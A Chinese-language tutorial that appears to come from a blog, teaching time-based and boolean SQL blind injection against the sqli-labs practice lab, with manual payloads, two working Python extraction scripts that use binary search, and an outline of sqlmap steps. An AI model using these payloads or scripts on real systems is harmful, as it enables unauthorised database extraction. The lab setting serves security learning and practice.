渗透之sql盲注(时间/boolean盲注)

sql盲注:sql盲注意思是我们并不能在web页面中看到具体的信息,我们只能通过输入的语句的真假来判断。从而拿到我们想要的信息。

我们通常使用ascii值来进行盲注。

目录

手动注入:

时间盲注:

布尔盲注:

python脚本注入:

使用python进行布尔盲注:

使用python进行时间盲注:

使用sqlmap工具注入:


手动注入:

时间盲注:

当无论你输入的是否为真假,它都会在页面中显示。这时我们就不能使用布尔盲注,我们就需要使用时间盲注,通过判断是否沉睡来注入。

http://sqli-labs:8848/less-9/?id=1%27%20and%20if%20(%20ascii%20(substr(database(),1,1))%20%3E100%20,sleep(3),0%20)--+

ascii(substring(database(),1,1))  -----这里表示从数据库名第一位截取一位将其转化为ascii值。

and if( ascii(substring(database(),1,1))> 100,sleep(3) ,0 )--+  -----表示如果第一位的ascii值大于100就沉睡3秒,否则为假不会沉睡。

通过左上角可知在沉睡,所以我们输入的为真。

我们就可以利用页面是否沉睡来进行注入。

布尔盲注:

1语句1:这里的意思为当数据库的第一个字符的ascii码值为116时为真。下面的web界面可以判断出我们输入的这一条语句为假。所以数据库第一个字符的ascii码值不为116。

id=1' and ascii( substring(database(),1,1))=116 --+

2语句二:这里的意思为当数据库的第一个字符的ascii码值为115时为真。从下面的web界面可以判断出我们输入的这一条语句为真,那么数据库的第一个字符为“s”。

  • “s”对应的ascii码值为115

id=1' and ascii( substring(database(),1,1))=115 --+

substring解释:

substring(database(),1,1):表示从数据库第一为开始截取一个字符
substring(database(),2,1):表示从数据库第二位开始截取一个字符
.
.
.
substring(database(),n,1):表示从数据库第n位开始截取一个字符

总结:我们就可以通过这样的语句来一个一个字符的将它注入出来。不过手动注入麻烦代价又大,所以我们一般会写一个脚本来注入。

python脚本注入:

使用python进行布尔盲注:

我们使用python脚本注入:

这个python脚本使用的是二分查找。

import requests
url="http://sqli-labs:8848/less-5/?"
def sql_inject(url):
    name=" "
    for i in range(1,100):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
#            查数据库名
#           urs = "1' and ascii( substring(database(),%d,1)) > %d -- " %(i,mid)
#            查数据库中所有的表名
            urs = "1' and ascii(substring((select group_concat(table_name) from information_schema.tables  where table_schema='security'),%d,1)) > %d -- " %(i,mid)
            res = {"id":urs}
            r = requests.get(url,params=res)
            if "You are in..........." in r.text:
                low = mid+1
            else:
                high = mid
            mid = (low +high) // 2
        if mid == 32:
            break
        name = name + chr(mid)
        print(name)
sql_inject(url)

运行结果1:将数据库名注入出来

运行结果2:将所在数据库的表注入出来

使用python进行时间盲注:

使用一下python代码进行时间盲注:

import time
import requests
url1="http://sqli-labs:8848/less-9/?"
def sql_inject(url):
    name=" "
    for i in range(1,100):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            #查数据库名
#           urs = "1' and if ( ascii (substr(database(),%d,1)) > %d ,sleep(1),0 ) -- " %(i,mid)
            #查表名
            urs = "1' and if ( ascii(substring((select group_concat(table_name) from information_schema.tables  where table_schema='security'),%d,1)) > %d ,sleep(1),0 ) -- " %(i,mid)
            res = {"id":urs }
            #开始前的时间
            starttime=time.time()
            r = requests.get(url,params=res)
            #请求后的时间
            endtime=time.time()
            #如果向减大于1则说明为真。
            if endtime - starttime >= 1:
                low = mid+1
            else:
                high = mid
            mid = (low +high) // 2
        if mid == 32:
            break
        name = name + chr(mid)
        print(name)
sql_inject(url1)

运行结果:

注入出数据库名:

使用sqlmap工具注入:

1.运行sqlmap.py

2.注入所有数据库名

3.注入所在数据库中的所有表名

4.查所在表的列名

5.查所在列的具体值

  • 4
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值